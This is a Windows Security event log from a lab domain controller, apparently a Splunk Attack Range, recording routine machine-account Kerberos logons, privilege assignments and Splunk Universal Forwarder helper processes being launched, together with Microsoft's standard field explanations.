Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3A17C3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:53:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256042
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3A17C3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51148

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:53:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256041
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3A17C3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:54:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256044
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1274
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:54:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256045
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:54:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256047
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:54:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256046
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:54:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256048
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:54:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256050
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x710
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:54:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256049
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc3c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:54:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256053
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3A4D73

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:54:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256052
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3A4D73
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51161

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:54:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256051
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3A4D73

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:55:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256054
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:55:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256057
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:55:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256056
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3999EA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:55:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256055
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:55:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256058
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:55:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256059
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x88c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:55:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256060
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:55:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256061
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:55:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256064
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3A92CD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:55:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256063
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3A92CD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51174

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

